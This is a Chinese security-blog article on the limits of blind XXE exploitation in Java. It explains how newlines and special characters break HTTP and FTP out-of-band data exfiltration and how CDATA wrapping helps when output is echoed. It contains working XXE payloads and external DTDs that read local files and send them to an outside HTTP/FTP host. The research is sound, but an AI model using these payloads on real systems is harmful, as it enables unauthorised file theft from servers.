freeBuf
主站

分类

漏洞 工具 极客 Web安全 系统安全 网络安全 无线安全 设备/客户端安全 数据安全 安全管理 企业安全 工控安全

特色

头条 人物志 活动 视频 观点 招聘 报告 资讯 区块链安全 标准与合规 容器安全 公开课

点我创作

试试在FreeBuf发布您的第一篇文章 让安全圈留下您的足迹
我知道了

官方公众号企业安全新浪微博

FreeBuf.COM网络安全行业门户,每日发布专业的安全资讯、技术剖析。

FreeBuf+小程序

FreeBuf+小程序

0

1

2

3

4

5

6

7

8

9

0

1

2

3

4

5

6

7

8

9

0

1

2

3

4

5

6

7

8

9

关于Java 中 XXE 的利用限制探究
蚁景科技 2021-08-11 13:31:00 139829
所属地 湖南省

一般而言,在Java里碰到XXE,如果是有回显的,那自然很好办,如果是没有回显,那就需要我们构造通道来把数据带出,过去在XXE利用中,如果单纯使用HTTP协议(除了作为结尾的CRLF外,不允许出现单独的CR或LF字符),是无法读取具有换行的文件的。

比如常用作验证的win.ini文件就有换行

1.png

如果想把该文件传送出去,将会报错 Illegal character in URL

2.png

rt.jar!\sun\net\www\http\HttpClient.class中的420行,存在对换行的判断

if (var1.indexOf(10) == -1) {
return var1;
} else {
throw new MalformedURLException("Illegal character in URL");
}

这个时候如果是PHP环境,那很好办,给数据编码一下就可以顺利带出,比如base64

<?xml version="1.0" encoding="utf-8"?>
<!DOCTYPE root [
<!ENTITY % file SYSTEM "php://filter/convert.base64-encode/resource=c:/windows/win.ini">
<!ENTITY % dtd SYSTEM "http://127.0.0.1/evil2.dtd">
%dtd;
%send;
]>
<root></root>

这样,即使文件存在Illegal character也可以带出,但是Java又没有相关编码的协议啊,这时候我们往往会利用FTP协议来向外传递数据,这些数据本身可能包含\r、\n等字符

3.png

看起来似乎很美好,问题得到了解决,但是,我们往往会碰到一些意外情况,如果文件中有下面这些字符呢

‘ “ < > &

那将会得到以下报错,实体XXX的声明必须以>结尾

4.png

dtd文件如下:

<!ENTITY % payload "<!ENTITY &#37; send SYSTEM 'ftp://xxxxxx/%file;'>"> %payload;

这是因为xml在解析的时候,会把实体进行替换,带有单引号的文件内容在拼接进字符串之后,单引号与send实体的单引号进行了闭合,然后后面的数据就变成了无效数据

5.png

如果文件中单引号后面是除了右尖括号>以外的字符,那么就会报实体XXX的声明必须以>结尾的错误

如果单引号后恰巧是右尖括号,那也不行,你后面还是有垃圾数据,顶多报错换一下

6.png

那这个时候还有什么办法读取这类的特殊文件呢?

xml在设计的时候就考虑到了这种情况,虽然一般情况下xml要求要使用这些符号最好是把相应字符用对应实体引用来代替,但是如果是不得不用的情况下,可以使用CDATA方法来读取。

CDATA 指的是不应由 XML 解析器进行解析的文本数据(Unparsed Character Data),CDATA 部分中的所有内容都会被解析器忽略。CDATA 部分由<![CDATA[开始,由]]>结束:

让我们对payload进行一下修改:

dtd

<!ENTITY % start "<![CDATA[">
<!ENTITY % end "]]>">
<!ENTITY % c "<!ENTITY &#37; rrr SYSTEM 'ftp://xxxx/%start;%r;%end;'>">

payload

<?xml version="1.0"?>
<!DOCTYPE cdl [
<!ENTITY % r SYSTEM "file:///C:/Users/mrzha/Desktop/test.ini">
<!ENTITY % asd SYSTEM "http://111.111.111.40:48111/cdata.dtd">
%asd;%c;%rrr;]>

但是其实这种方法是没办法的,因为它还是需要拼接到url里去,依旧会和外部的单引号闭合,如

7.png

但是,CDATA方法可以用于xxe有回显的情况,也算是一种不错的方法了。

正常读取无法读取

8.png

使用CDATA方法读取,但是请注意,这种情况还是不够完美,至少对于单独的 & 符号还是没办法

9.png

除非构成了完整的实体引用格式

0.png

另外JDK的版本更迭对使用FTP作为信息传送通道这一个技巧有影响,这也是为什么高版本无法用FTP来读取多行文件,因为FtpURLConnection.class中的static方法checkURL里的var0.toExternalForm().indexOf(10) > -1,此处解析URL并检查URL中是否存在换行符(ascii为10),如果存在则抛出异常

具体checkURL在哪一个版本开始检查换行,笔者没有一个一个去看,有兴趣的读者可以找找看

rt.jar!\sun\net\www\protocol\ftp\FtpURLConnection.class

static URL checkURL(URL var0) throws IllegalArgumentException {
if (var0 != null && var0.toExternalForm().indexOf(10) > -1) {
MalformedURLException var3 = new MalformedURLException("Illegal character in URL");
throw new IllegalArgumentException(var3.getMessage(), var3);
} else {
String var1 = IPAddressUtil.checkAuthority(var0);
if (var1 != null) {
MalformedURLException var2 = new MalformedURLException(var1);
throw new IllegalArgumentException(var2.getMessage(), var2);
} else {
return var0;
}
}
}

总结

总的来说,如果是php环境,那自然是万事大吉,但是在java环境中,如果

有回显(不需要通过URL外带):

1. 普通文件 -> 直接读取回显

2. 带换行文件 -> 直接读取回显

含特殊字符文件 -> CDATA回显

3. 含特殊字符且有换行文件 -> CDATA 回显

无回显:

1. 普通文件 -> HTTP或者FTP都可以带出

带换行文件 -> FTP带出 3. 含特殊字符文件 -> 。。暂时没好的办法 4. 含特殊字符且有换行的文件 -> 。。暂时没好的办法

另外,需要注意JDK版本的影响

XXE漏洞分析与实践

# web安全 # 系统安全 # 数据安全 # 网络安全技术
免责声明
1.一般免责声明:本文所提供的技术信息仅供参考,不构成任何专业建议。读者应根据自身情况谨慎使用且应遵守《中华人民共和国网络安全法》,作者及发布平台不对因使用本文信息而导致的任何直接或间接责任或损失负责。
2. 适用性声明:文中技术内容可能不适用于所有情况或系统,在实际应用前请充分测试和评估。若因使用不当造成的任何问题,相关方不承担责任。
3. 更新声明:技术发展迅速,文章内容可能存在滞后性。读者需自行判断信息的时效性,因依据过时内容产生的后果,作者及发布平台不承担责任。
本文为 蚁景科技 独立观点,未经授权禁止转载。
如需授权、对文章有疑问或需删除稿件,请联系 FreeBuf 客服小蜜蜂(微信:freebee1024)
被以下专辑收录,发现更多精彩内容
+ 收入我的专辑
+ 加入我的收藏
metasploit技术
蚁景科技 LV.9
湖南蚁景科技有限公司主要从事在线教育平台技术研究及网络培训产品研发,专注网络空间安全实用型人才培养,全面提升用户动手实践能力。
  • 905 文章数
  • 671 关注者
路由器安全研究:D-Link DIR-823G v1.02 B05 复现与利用思路
2025-03-18
ApoorvCTF Rust语言逆向实战
2025-03-07
给大模型通过RAG挂上知识库
2025-02-28
文章目录